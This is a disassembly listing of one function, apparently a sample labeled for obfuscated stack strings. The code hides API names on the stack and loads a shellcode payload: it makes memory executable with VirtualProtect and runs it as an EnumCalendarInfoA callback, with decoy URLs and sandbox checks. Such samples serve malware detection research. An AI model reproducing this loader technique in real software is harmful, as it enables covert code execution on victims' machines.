Function at 0x4079c2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x130], ecx
mov qword [rbp + 0x138], rdx
call fcn.0041aab0
call fcn.004038b6
mov dword [rbp + 0x10c], eax
lea rax, [rbp + 0x93]
mov rcx, rax
call fcn.00455370
lea rdx, [rbp + 0x93]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, str.https:__www.baidu.com_s_ieutf_8
mov rcx, rax
call fcn.0045e490
lea rax, [rbp + 0x93]
mov rcx, rax
call fcn.004553a0
lea rax, [rbp + 0x94]
mov rcx, rax
call fcn.00455370
lea rdx, [rbp + 0x94]
lea rax, [rbp + 0x70]
mov r8, rdx
lea rdx, str.https:__www.google.com_search_q
mov rcx, rax
call fcn.0045e490
lea rax, [rbp + 0x94]
mov rcx, rax
call fcn.004553a0
lea rax, [rbp + 0x95]
mov rcx, rax
call fcn.00455370
lea rdx, [rbp + 0x95]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
mov rcx, rax
call fcn.0045e490
lea rax, [rbp + 0x95]
mov rcx, rax
call fcn.004553a0
lea rax, [rbp + 0x96]
mov rcx, rax
call fcn.00455370
lea rdx, [rbp + 0x96]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, str.c:_users_username_Documents_file.txt
mov rcx, rax
call fcn.0045e490
lea rax, [rbp + 0x96]
mov rcx, rax
call fcn.004553a0
lea rax, [rbp + 0x97]
mov rcx, rax
call fcn.00455370
lea rdx, [rbp + 0x97]
lea rax, [rbp + 0x40]
mov r8, rdx
lea rdx, str._home_user_documents_file.txt
mov rcx, rax
call fcn.0045e490
lea rax, [rbp + 0x97]
mov rcx, rax
call fcn.004553a0
call fcn.00401609
mov dword [rbp + 0x108], eax
cmp dword [rbp + 0x108], 0x4a
ja 0x407b38
mov ebx, 0
jmp 0x407f21
call fcn.004016b8
mov dword [rbp + 0x104], eax
cmp dword [rbp + 0x104], 0
jne 0x407b56
mov ebx, 0
jmp 0x407f21
mov dword [rbp + 0x100], 0x381
call fcn.00401785
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x407b80
mov ebx, 0
jmp 0x407f21
mov qword [rbp + 0x38], 0
lea rdx, [rbp + 0x38]
mov rax, qword [rbp + 0xf8]
mov rcx, rax
call fcn.004080b3
test eax, eax
je 0x407ba8
mov rax, qword [rbp + 0x38]
test rax, rax
jne 0x407baf
mov eax, 1
jmp 0x407bb4
mov eax, 0
test al, al
je 0x407bc2
mov ebx, 1
jmp 0x407f21
call fcn.00401a6b
mov dword [rbp + 0xf4], eax
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
movabs rax, 0x7e5c872c2386c38e
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x38]
lea rcx, [rbp + 0x20]
mov rax, qword [rbp + 0xf8]
mov r8, rcx
mov rcx, rax
call fcn.0040812d
test eax, eax
sete al
test al, al
je 0x407c18
mov ebx, 0
jmp 0x407f21
call fcn.00401943
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xe8], rax
mov byte [rbp + 0x10], 0x4c
mov byte [rbp + 0x11], 0x6f
mov byte [rbp + 0x12], 0x61
mov byte [rbp + 0x13], 0x64
mov byte [rbp + 0x14], 0x4c
mov byte [rbp + 0x15], 0x69
mov byte [rbp + 0x16], 0x62
mov byte [rbp + 0x17], 0x72
mov byte [rbp + 0x18], 0x61
mov byte [rbp + 0x19], 0x72
mov byte [rbp + 0x1a], 0x79
mov byte [rbp + 0x1b], 0x41
mov byte [rbp + 0x1c], 0
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xe8]
call rax
mov qword [rbp + 0xe0], rax
mov byte [rbp], 0x61
mov byte [rbp + 1], 0x63
mov byte [rbp + 2], 0x74
mov byte [rbp + 3], 0x69
mov byte [rbp + 4], 0x76
mov byte [rbp + 5], 0x65
mov byte [rbp + 6], 0x64
mov byte [rbp + 7], 0x73
mov byte [rbp + 8], 0x2e
mov byte [rbp + 9], 0x64
mov byte [rbp + 0xa], 0x6c
mov byte [rbp + 0xb], 0x6c
mov byte [rbp + 0xc], 0
mov byte [rbp + 0xd], 0
mov rdx, rbp
mov rax, qword [rbp + 0xe0]
mov rcx, rdx
call rax
mov qword [rbp + 0xd8], rax
mov byte [rbp - 0x10], 0x55
mov byte [rbp - 0xf], 0x73
mov byte [rbp - 0xe], 0x65
mov byte [rbp - 0xd], 0x72
mov byte [rbp - 0xc], 0x33
mov byte [rbp - 0xb], 0x32
mov byte [rbp - 0xa], 0x2e
mov byte [rbp - 9], 0x64
mov byte [rbp - 8], 0x6c
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0xe0]
mov rcx, rdx
call rax
mov qword [rbp + 0xd0], rax
call fcn.00401943
mov byte [rbp - 0x20], 0x52
mov byte [rbp - 0x1f], 0x65
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x1d], 0x6c
mov byte [rbp - 0x1c], 0x6c
mov byte [rbp - 0x1b], 0x6f
mov byte [rbp - 0x1a], 0x63
mov byte [rbp - 0x19], 0x41
mov byte [rbp - 0x18], 0x44
mov byte [rbp - 0x17], 0x73
mov byte [rbp - 0x16], 0x4d
mov byte [rbp - 0x15], 0x65
mov byte [rbp - 0x14], 0x6d
mov byte [rbp - 0x13], 0
mov byte [rbp - 0x12], 0
lea rdx, [rbp - 0x20]
mov rcx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xe8]
call rax
mov qword [rbp + 0xc8], rax
mov byte [rbp - 0x30], 0x56
mov byte [rbp - 0x2f], 0x69
mov byte [rbp - 0x2e], 0x72
mov byte [rbp - 0x2d], 0x74
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x61
mov byte [rbp - 0x2a], 0x6c
mov byte [rbp - 0x29], 0x50
mov byte [rbp - 0x28], 0x72
mov byte [rbp - 0x27], 0x6f
mov byte [rbp - 0x26], 0x74
mov byte [rbp - 0x25], 0x65
mov byte [rbp - 0x24], 0x63
mov byte [rbp - 0x23], 0x74
mov byte [rbp - 0x22], 0
mov byte [rbp - 0x21], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xe8]
call rax
mov qword [rbp + 0xc0], rax
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll__time64
lea rax, [rbp - 0x38]
mov rcx, rax
call sub.msvcrt.dll_localtime
mov qword [rbp + 0xb8], rax
call fcn.00401c77
mov dword [rbp + 0xb4], eax
mov eax, dword [rbp + 0x100]
mov edx, eax
lea rcx, [0x00483040]
call fcn.00401736
mov byte [rbp - 0x50], 0x45
mov byte [rbp - 0x4f], 0x6e
mov byte [rbp - 0x4e], 0x75
mov byte [rbp - 0x4d], 0x6d
mov byte [rbp - 0x4c], 0x43
mov byte [rbp - 0x4b], 0x61
mov byte [rbp - 0x4a], 0x6c
mov byte [rbp - 0x49], 0x65
mov byte [rbp - 0x48], 0x6e
mov byte [rbp - 0x47], 0x64
mov byte [rbp - 0x46], 0x61
mov byte [rbp - 0x45], 0x72
mov byte [rbp - 0x44], 0x49
mov byte [rbp - 0x43], 0x6e
mov byte [rbp - 0x42], 0x66
mov byte [rbp - 0x41], 0x6f
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0
mov byte [rbp - 0x3e], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xe8]
call rax
mov qword [rbp + 0xa8], rax
mov ecx, dword [rbp + 0x100]
mov edx, dword [rbp + 0x100]
mov rax, qword [rbp + 0xc8]
mov r8d, ecx
mov ecx, 0
call rax
mov qword [rbp + 0xa0], rax
call fcn.00401943
call fcn.00401f5f
mov dword [rbp + 0x9c], eax
mov eax, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xa0]
mov r8, rdx
lea rdx, [0x00483040]
mov ecx, eax
call fcn.004018f5
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ClipCursor]
call rax
call fcn.00401943
mov edx, dword [rbp + 0x100]
lea r8, [rbp - 0x54]
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xc0]
mov r9, r8
mov r8d, 0x40
call rax
mov dword [rbp + 0x98], eax
cmp dword [rbp + 0x98], 1
jne 0x407f1c
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xa8]
mov r9d, 1
mov r8d, 0xffffffff
mov edx, 0x800
call rax
mov ebx, 0
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.0045ea00
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.0045ea00
lea rax, [rbp + 0x60]
mov rcx, rax
call fcn.0045ea00
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.0045ea00
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.0045ea00
mov eax, ebx
jmp 0x408021
add rsp, 0x198
pop rbx
pop rbp
ret